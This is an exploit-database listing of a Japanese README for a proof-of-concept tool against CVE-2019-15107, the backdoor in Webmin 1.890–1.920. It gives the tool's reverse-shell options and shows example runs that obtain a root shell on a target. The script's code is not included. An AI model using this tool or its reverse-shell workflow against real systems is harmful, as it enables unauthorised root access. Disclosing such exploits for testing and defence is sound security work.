Sploitus

Exploit for cve-2019-15107 CVE-2019-15107

kitploit · 2026-09-02

Exploit Code

MARKDOWN107 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ADAMPAWELCZYK-CVE-2019-15107
# CVE-2019-15107 - Webmin 未認証RCE

## 説明

このリポジトリには、Webminバージョン1.890から1.920に影響を与えるCVE-2019-15107の概念実証(PoC)エクスプロイトが含まれています。

このスクリプトは、バージョン1.890から1.920におけるバックドアを悪用します。このバックドアにより、認証されていないユーザーが`old`(v.1.890では`expired`)パラメータを介して`password_change.cgi`エンドポイントにコマンドを注入できます。バックドアが仕込まれていたのはSourceForgeのダウンロードのみですが、これらはプロジェクトサイトで公式ダウンロードとしてリストされています。

未知の攻撃者(複数)が、ビルドサーバーのソースコードにPerlの`qx`文を2回挿入しました。1回目は2018年4月で、1.890リリースにバックドアが導入され、2回目は2018年7月で、リリース1.900から1.920にバックドアが再導入されました。

デフォルトインストールで悪用可能なのはバージョン1.890のみです。それ以降の影響を受けるバージョンでは、期限切れパスワード変更機能が有効になっている必要があります。

## テスト環境

エクスプロイトは以下に対して正常にテストされました:

  * Webminバージョン: 1.890
  * オペレーティングシステム: Ubuntu 18.04.4 LTS



## 使用方法

root@kitploit:~
    
    
    python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
    
    options:
      -h, --help                 このヘルプメッセージを表示して終了
      -r, --rhost RHOST          ターゲットIPアドレス
      -rp, --rport RPORT         ターゲットポート(デフォルト: 10000)
      -l, --lhost LHOST          リバースシェル用のローカルIP
      -lp, --lport LPORT         リバースシェル用のローカルポート(デフォルト: 4343)
      -s, --scheme {http,https}  使用するプロトコル(デフォルト: https)
      -x, --proxy [PROXY]        プロキシを使用(デフォルト: http://127.0.0.1:8080)
      -f, --force                検出が失敗しても強制的にエクスプロイトを実行
      -c, --cmd CMD              リバースシェルの代わりに単一コマンドを実行
    

## 使用例

root@kitploit:~
    
    
    ┌──(adam㉿kali)-[~]
    └─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
    
       _____   _____   ___ __  _ ___     _ ___ _  __ ____ 
      / __\ \ / / __|_|_  )  \/ / _ \___/ | __/ |/  \__  |
     | (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ / 
      \___| \_/ |___| /___\__/|_|/_/    |_|___/_|\__//_/  
    
      CVE-2019-15107 | Webmin Unauthenticated RCE
      by adampawelczyk
    
    [*] Checking vulnerability...
    [*] Detecting target version...
    [+] Detected Webmin 1.890
    [+] Target is vulnerable
    [*] Starting listener on port 4343...
    listening on [any] 4343 ...
    [*] Sending payload...
    connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
    bash: cannot set terminal process group (1314): Inappropriate ioctl for device
    bash: no job control in this shell
    root@source:/usr/share/webmin/# whoami
    whoami
    root
    root@source:/usr/share/webmin/# 
    

root@kitploit:~
    
    
    ┌──(adam㉿kali)-[~]
    └─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami                                                                                                                                                                 
    
       _____   _____   ___ __  _ ___     _ ___ _  __ ____ 
      / __\ \ / / __|_|_  )  \/ / _ \___/ | __/ |/  \__  |
     | (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ / 
      \___| \_/ |___| /___\__/|_|/_/    |_|___/_|\__//_/  
    
      CVE-2019-15107 | Webmin Unauthenticated RCE
      by adampawelczyk
    
    [*] Checking vulnerability...
    [*] Detecting target version...
    [+] Detected Webmin 1.890
    [+] Target is vulnerable
    [+] Command output:
    ========================================
    root
    

## 参考文献

  * https://nvd.nist.gov/vuln/detail/CVE-2019-15107
  * https://webmin.com/security/
  * https://www.exploit-db.com/exploits/47230



## 免責事項

このツールは教育および許可されたテスト目的のみに使用されます。自分が所有していない、またはテストする許可がないシステムに対する不正使用は違法です。責任を持って使用してください。